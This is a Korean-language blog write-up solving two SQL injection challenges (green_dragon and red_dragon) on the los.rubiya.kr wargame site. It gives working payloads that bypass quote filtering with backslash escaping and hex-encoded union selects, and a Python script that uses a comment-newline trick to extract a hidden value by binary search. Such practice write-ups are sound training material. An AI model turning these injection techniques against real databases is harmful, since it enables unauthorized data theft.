[LOS] 25,26번 문제 풀이(green_dragon,red_dragon)

2 분 소요

💡 los.rubiya.kr 25번,26번 문제에 대한 풀이입니다.

25번(green_dragon)

문제

image

풀이

우선 필터링 된 문자들 중에 싱글 쿼터(‘)가 있습니다. 싱글쿼터가 필터링 된 상황에서 문자열을 이스케이핑 하기 위해서 이스케이프 문자인(\)을 사용해 줍니다.

id = \ 을 입력하면 다음과 같이 pw부분까지 문자열로 처리되어서 pw부분에 바로 db명령어 수행이 가능합니다.

select id,pw from prob_green_dragon where id='\' and pw=' or 1#'

image

정상적으로 쿼리가 실행되었다면, if(result['id'])가 참이되어 두번째 쿼리의 결과가 나왔어야 하지만, 아무런 결과가 나오지 않고 있습니다.

DB에 아무런 데이터가 없을 것으로 추측하여 union select를 해봅니다.

image

예상대로 DB에는 아무런 데이터가 없었고, union select 1,2를 하여 result[‘id’] = 1, result[‘pw’] = 2 가 들어가서 query 2번이 실행되었습니다.

이번에도 동일한 로직으로 id=\을 넣어주고, pw에 어떠한 값을 넣어줘서 쿼리의 결과 값이 ‘admin’이 나오면 문제가 풀립니다.

테이블에는 데이터가 없기 때문에 query1의 결과로 나온 id,pw가 다음과 같이 출력되어야 query2에서도 union select로 인해서 ‘admin’의 결과가 나옵니다.

id = \
pw = union select 'admin'#

우선 id에 들어가는 \표시는 0x5c로 바꿔주고, 싱글 쿼터(‘)를 필터링 하고 있기 때문에 pw에 들어가는 값을 0x 형식으로 표현하여 우회해 줍니다. union select 'admin'#을 전부 16진수로 바꿔서 표현하는 코드는 다음과 같습니다.

test = " union select 0x61646d696e#"
for character in test:
    print(str(hex(ord(character)))[2:],end='')

# 20756e696f6e2073656c6563742030783631363436643639366523

이제 이 결과 값을 이용해서 다음과 같이 전체 쿼리문을 작성해 줍니다.

id = \
pw = union select 0x5c,0x20756e696f6e2073656c6563742030783631363436643639366523

image

26번(red_dragon)

문제

image

풀이

우선 id에 '=0;%00을 넣어서 true일 때 어떤 값이 반환되는지 봅니다.

image

테이블에 admin 데이터가 출력됩니다.

문제의 클리어 조건은 다음과 같으며 admin의 no 값을 알아내야 합니다.

$query = "select no from prob_red_dragon where id='admin'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");

no 값에 들어가는 검증을 is_numeric 함수가 하고 있습니다. 이때, is_numeric은 오류를 줄이기 위해서 맨 앞자리에 공백문자가 온다면 이를 그대로 처리해줍니다.

image

그렇다면 id 부분에서 한줄 주석 처리를 통해서 전부 주석 처리를 하고, no 부분에 %0a123과 같이 입력한다면, 한줄 주석 이후까지의 명령어에 이어서 숫자를 사용할 수 있습니다.

다음과 같이 작성해 줍니다.

id='||no>#

image

위의 쿼리문은 #부분부터 주석이 처리가 되고, 줄 바꿈 문자를 만난다음엔 주석 처리가 되지 않기 때문에 아래와 동일한 쿼리문입니다.

select id from prob_red_dragon where id=''||no>1000

즉 id의 no>1000과 같이 대소 비교가 가능해 집니다. 이를 이용하여 코드를 통해서 반복처리를 해줍니다.

import requests

url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no<%23&no=%0a"
url2 = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no=%23&no=%0a"
cookies = {"PHPSESSID" : "595dl7ejl1io50mt9bhg0dbmpk"} 

start,end = 100000000,1000000000
while True:
    search = int((start + end)/2)
    response = requests.get(url + str(search),cookies=cookies)
    if("Hello admin" in response.text):
        end = search
    else:
        response = requests.get(url2 + str(search),cookies=cookies)
        if("Hello admin" in response.text):
            print("find the no",search)
            break
        start = search
    print(search)

숫자가 크기 때문에 이진 탐색 알고리즘을 사용했습니다. 결과는 다음과 같습니다.

550000000
775000000
662500000
606250000
578125000
592187500
585156250
588671875
586914062
586035156
586474609
586694335
586584472
586483191
586482333
586481904
586482118
586482011
586482064
586482037
586482024
586482017
find the no 586482014

image

댓글남기기